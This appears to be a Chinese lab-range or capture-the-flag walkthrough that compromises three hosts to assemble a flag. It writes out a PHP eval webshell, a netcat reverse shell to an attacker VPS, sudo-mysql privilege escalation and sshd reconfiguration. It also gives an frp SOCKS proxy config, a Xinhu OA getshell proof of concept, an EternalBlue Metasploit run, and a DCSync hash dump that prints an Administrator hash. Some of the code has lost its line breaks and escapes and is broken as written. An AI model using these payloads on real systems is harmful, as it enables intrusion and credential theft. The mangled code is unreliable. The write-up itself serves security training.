1、靶机1分析
这里进来是一个登录的页面,一些常规的手段都无效,于是我使用了FScan扫描,发现是一个Thinkphp的框架并且存在RCE漏洞


因此我们使用thinkphp漏洞利用工具,并且写入webshell

echo '<?php @eval($_POST["x"]); ?>' >shell.php

然后通过中国蚁剑连接,并且反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc vps地址 端口 >/tmp/f

成功反弹了shell,但是由于权限太低,我们需要提权

首先使用sudo -l枚举,结果发现sudo可以无密码运行/usr/bin/mysql
sudo -l

所以我们直接利用mysql提权:
sudo /usr/bin/mysql -e '! /bin/bash -p'

成功拿到了root权限
接下来为了方便操作我们将root的密码修改为123456

想要登录时发现,要求只能用公钥登录

我猜测靶机一可能没有开启密码登录,需要我们手动开启,于是我们将其开启并重启服务
printf 'PasswordAuthentication yesnKbdInteractiveAuthentication non' > /etc/ssh/sshd_config.d/99-allow-password.conf
sshd -t && systemctl reload ssh || systemctl restart ssh

最后成功连上了该靶机:

我们在root用户的文件夹内发现了flag

获得了flag1:
flag{60b53231-
二、二号靶机分析
之后我们先将fscan传进靶机一号中,并且通过ifconfig列出当前的ip

使用fscan扫描


发现了18有也有一个站点是一个办公系统,而如果要访问这个站点需要搭建代理,因此我们将使用frp搭建代理

配置frpc:
serverAddr = "你的vps地址"serverPort = 8888[[proxies]]name = "rsocks"type = "tcp"remotePort = 6666 #你vps拿来作为代理的地址[proxies.plugin]type = "socks5" #使用sock5代理
配置frps:
bindPort = 8888 #你vps拿来作为跳板的端口
使用Proxiflter配置代理:

成功访问了第二个战点:

信呼协同OA这个系统有个poc可以直接getshell
import requestssession = requests.session()url_pre = 'http://172.22.1.18/'url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'data1 = {'rempass': '0','jmpass': 'false','device': '1625884034525','ltype': '0','adminuser': 'YWRtaW4=','adminpass': 'YWRtaW4xMjM=','yanzm': ''}r = session.post(url1, data=data1)r = session.post(url2, files={'file': open('1.php', 'r+')})filepath = str(r.json()['filepath'])filepath = "/" + filepath.split('.uptemp')[0] + '.php'id = r.json()['id']url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'r = session.get(url3)r = session.get(url_pre + filepath + "?1=system('dir")print(r.text)print(filepath)
我们写好一个一句话木马1.php在同目录下然后直接使用运行
eval($_POST['pass']);

成功注入,然后我们使用蚁剑连接

最后在管理员用户文件夹内发现了flag02:

解出了flag2:
2ce3-4813-87d4-
三、三号靶机分析
这里有一个Windows Server2008,这个系统很古老,可能存在永恒之蓝漏洞,因此我们可以使用msf打永恒之蓝试试

先配置好代理:
sudo vim /etc/proxychains4.conf
拉到最底下,加上
socks5 vps地址 映射端口

然后使用msf打永恒之蓝:
proxychains msfconsolesearch ms17_010use exploit/windows/smb/ms17_010_eternalblueshow optionset payload windows/x64/meterpreter/bind_tcpshow optionsset rhosts 172.22.1.21show optionsrun
成功打进去了

进来先看看系统信息:

似乎是个域,要打横向,我们先抓域的凭据:
load kiwi
接着导出域内hash
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
接着我们看到了Administrator的hash
administrator: 10cf89a850fb1cdbe6bb432b859164c8

因此我们可以使用CrackMapExec进行横向,由于前两个flag都在管理员用户目录内,因此我直接看管理员的用户目录,找到了第三个flag

解出flag3:
e8f88d0d43d6}
因此最终的flag就是:
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}











暂无评论内容